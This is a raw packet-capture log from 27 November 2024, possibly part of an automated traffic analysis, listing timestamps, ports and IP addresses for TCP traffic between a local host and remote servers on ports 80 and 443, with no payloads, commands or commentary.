Nov 27, 2024 16:34:52.679084063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.679302931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.679363012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.679768085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.679970026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.679991961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.680051088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.680051088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.680371046 CET	443	49862	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.680761099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.680913925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.680938959 CET	49862	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.680955887 CET	443	49862	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.681061029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.681324005 CET	443	49862	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.681344032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.681623936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.681682110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.683402061 CET	49862	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.683481932 CET	443	49862	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.693656921 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.693675041 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.714843988 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.724673986 CET	49862	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.740161896 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.740187883 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.740838051 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.740844011 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.743144035 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.764193058 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.764278889 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.764307022 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.764326096 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.764394045 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.764436007 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.764663935 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.764678001 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.764688015 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.764693975 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.765090942 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.765094995 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.765131950 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.765136003 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.772880077 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.772891045 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.772932053 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.772937059 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.773046970 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.773056984 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.773206949 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.773216963 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.773317099 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.773328066 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.823334932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.943856001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.949843884 CET	443	49864	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.950232029 CET	49864	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.950247049 CET	443	49864	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.950623989 CET	443	49864	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.951101065 CET	49864	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.951170921 CET	443	49864	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:53.003338099 CET	49864	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:53.014189959 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.014270067 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.014338017 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.014539003 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.014560938 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.014576912 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.014583111 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.018538952 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.018595934 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.018883944 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.019342899 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.019361973 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.048063993 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.048139095 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.048188925 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.054785013 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.054821014 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.065408945 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.065462112 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.065634966 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.066112995 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.066129923 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.175266027 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.175353050 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.176214933 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.176628113 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.176651955 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.176666021 CET	49858	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.176671028 CET	443	49858	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.180030107 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.180069923 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.180488110 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.180895090 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:53.180907011 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:53.284986019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.285099983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.285269022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.285418034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.285523891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.285612106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.286331892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.286366940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.286458969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.286458969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.287254095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.287311077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.287334919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.287395954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.288083076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.288150072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.288225889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.288353920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.289091110 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.289189100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.289254904 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.405802011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.405869961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.405971050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.406248093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.406310081 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.406342030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.406763077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.406832933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.406860113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.406955004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.407660961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.407721996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.407768965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.407821894 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.408489943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.408615112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.408689976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.409457922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.409555912 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.409595966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.409765005 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.410345078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.410367966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.410403013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.410432100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.411252975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.411339998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.411340952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.411575079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.412125111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.412363052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.412429094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.413044930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.413130999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.413281918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.413368940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.413994074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.414050102 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.414103031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.414324999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.414848089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.414963007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.534790993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.534806967 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.535157919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.535224915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.535224915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.535276890 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.535553932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.535607100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.536190033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.536372900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.536489964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.537091970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.537158966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.537242889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.537373066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.538019896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.538105965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.538146019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.538191080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.538912058 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.538985968 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.539024115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.539591074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.539849997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.539910078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.539959908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.540030003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.540826082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.540915012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.540956020 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.541019917 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.541637897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.541790962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.541867018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.542515993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.542629957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.542644978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.542859077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.543433905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.543493986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.543546915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.543669939 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.544461966 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.544562101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.544713020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.545305014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.545397997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.545464039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.546241045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.546330929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.546392918 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.546530962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.547175884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.547240973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.547250986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.547487020 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.548063040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.548155069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.548230886 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.548856974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.548959970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.549035072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.549748898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.549886942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.549957991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.550244093 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.550658941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.550698042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.551217079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.551601887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.551714897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.551877975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.552542925 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.552676916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.552772999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.553378105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.553419113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.553447962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.553514957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.602978945 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.606719017 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:53.609263897 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.609285116 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.609702110 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.610938072 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.611004114 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.615556955 CET	49866	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.618942022 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.620847940 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.620873928 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.621265888 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.626100063 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.626204014 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.629154921 CET	49849	443	192.168.2.7	13.107.246.40
Nov 27, 2024 16:34:53.657254934 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:53.657278061 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:53.661086082 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:53.661099911 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:53.661135912 CET	49865	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:53.661144018 CET	443	49865	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:53.663340092 CET	443	49866	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.664428949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.664525032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.664562941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.664737940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.664901972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.665010929 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.665082932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.665846109 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.665915966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.665926933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.666048050 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.666691065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.666946888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.666982889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.667113066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.667619944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.667743921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.668493032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.668504000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.668597937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.669397116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.669455051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.669498920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.669747114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.670283079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.670399904 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.670469999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.671279907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.671338081 CET	443	49849	13.107.246.40	192.168.2.7
Nov 27, 2024 16:34:53.671339035 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.671353102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.671396971 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.672128916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.672240019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.672241926 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.672421932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.673028946 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.673224926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.673290014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.673995972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.674211979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.674865961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.674921036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.675014019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.675801039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.675942898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.676094055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.676664114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.676891088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.677570105 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.677598953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.677627087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.677654982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.678457022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.678648949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.679439068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.679459095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.679485083 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.679513931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.680279970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.680320024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.680453062 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.681188107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.681319952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.682202101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.682281017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.682310104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.683017969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.683075905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.683270931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.683893919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.683976889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.684029102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.684483051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.684900045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.684953928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.685693026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.685806036 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:53.685808897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:53.686764956 CET	80	49777	185.215.113.206	192.168.2.7
